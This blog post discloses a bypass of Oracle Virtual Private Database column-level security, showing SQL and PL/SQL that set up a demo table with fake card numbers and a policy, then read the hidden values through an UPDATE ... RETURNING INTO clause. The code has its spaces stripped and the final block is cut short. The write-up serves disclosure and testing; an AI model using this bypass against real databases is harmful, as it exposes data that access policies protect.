Oracle Virtual Private Database is not so private!

Virtual Private Database (Oracle VPD) was introduced by Oracle in release 8i. It’s a security feature that provides access restriction at row/column level for privacy and regulatory compliance. It allows sophisticated logic to be applied through the use of custom functions in which rules can be written for fine-grained data access. If you want to know more about how it works check the official documentation.
The point of this post is that the column-level security of Oracle VPD can be easily tricked! It all started when I decided to check the new Redaction feature released with Oracle 12c. This is somehow similar to VPD but it works at a different level. I came across a very interesting article from David Litchfield that in his article demonstrates how this feature is broken and not safe at all. Well, starting from there I made my own similar investigations on VPD and got some really surprising results.
Let’s see what I’ve discovered by connecting to the database with SCOTT and creating our usual test table

1

2

3

4

5

6

7

8

9

10

11

12

13

createtablemytab(cust_idnumber,

secretvarchar2(1),

cc_numbervarchar2(20));

insertintomytabvalues(1,'Y','1234-5899-7458-1111');

insertintomytabvalues(2,'N','5093-1214-0875-1496');

insertintomytabvalues(3,'N','9905-8465-3208-5478');

insertintomytabvalues(4,'Y','5521-4785-0033-7408');

insertintomytabvalues(5,'Y','1457-9650-0897-0000');

commit;

grantselectonMYTABtoMARK;-- used later

The table has a “customer id” column, a “security” flag that we’ll use to identify secret data and a “credit card number” column. I’ve also inserted 5 rows just for the purpose of this demo.
Now I want the “cc_number” values to be invisible to the user SCOTT whenever the flag “secret” is equal to Y. To do that we can use Oracle VPD and first need to create a function containing the logic for hiding that column

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

createorreplacepackageprivate_data_protectionas

functionhide_col(in_schemavarchar2,in_tablevarchar2)returnvarchar2;

endprivate_data_protection;

/

createorreplacepackagebodyprivate_data_protectionas

functionhide_col(in_schemavarchar2,in_tablevarchar2)returnvarchar2as

begin

ifsys_context('userenv','session_user')='SCOTT'then

return'secret = ''N''';

else

returnnull;

endif;

endhide_col;

endprivate_data_protection;

/

The code is very simple: if the user is SCOTT the condition secret = ‘N’ is added to the query hiding the sensitive data. All other users will see all without any filter.
In order to make this rule active we need to create a “policy” that calls the function we just compiled

1

2

3

4

5

6

7

8

9

10

begin

dbms_rls.add_policy(object_schema=>'SCOTT',

object_name=>'MYTAB',

policy_name=>'CC_COL_POLICY',

function_schema=>'SCOTT',

policy_function=>'private_data_protection.hide_col',

sec_relevant_cols=>'CC_NUMBER',

sec_relevant_cols_opt=>dbms_rls.ALL_ROWS);

end;

/

This policy is defined at column level so it’s intended to hide values from the column CC_NUMBER leaving all remaining ones visible.
If we connect to the database with another user, let’s say MARK in my test, and query the table we are able to see all data

1

2

3

4

5

6

7

8

SQL>select*fromscott.mytab;

CUST_IDSECRETCC_NUMBER

---------- ------ --------------------

1Y1234-5899-7458-1111

2N5093-1214-0875-1496

3N9905-8465-3208-5478

4Y5521-4785-0033-7408

5Y1457-9650-0897-0000

Now let’s go back and connect with SCOTT. When running the same query we get a different result because of the VPD policy

1

2

3

4

5

6

7

8

SQL>select*frommytab;

CUST_IDSECRETCC_NUMBER

---------- ------ --------------------

1Y

2N5093-1214-0875-1496

3N9905-8465-3208-5478

4Y

5Y

As you can see, for all rows that have secret equal to Y, the column CC_NUMBER is not visible. It seems solid, doesn’t it? I’m afraid it’s not.
Do you remember that way of returning column values in a delete or update DML by using the RETURNING INTO clause?
Well, look at this

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

SQL>setserveroutputon

SQL>declare

2vCCvarchar2(20);

3begin

4updatemytabsetcust_id=cust_idwherecust_id=1

5returningcc_numberintovCC;

6

7dbms_output.put_line(chr(10));

8dbms_output.put_line('The CREDIT CARD number you are unsuccessfully trying to hide is '||vCC);

We just printed the value we should not have access to! By simply updating a row whose CC number we should not see and by using the RETURNING INTO clause we managed to easily (and I underline it, EASILY) access the hidden data. I’ve tested this on releases 11.2.0.2.0, 11.2.0.3.0 and 12.1.0.2.0 with same exact results.
It seems Oracle forgot that data can be retrieved this way. I don’t have much more to add, just don’t rely on Oracle VPD column-level security if you really want to keep your sensitive data safe.
At least not until Oracle releases a patch for this quite big flaw.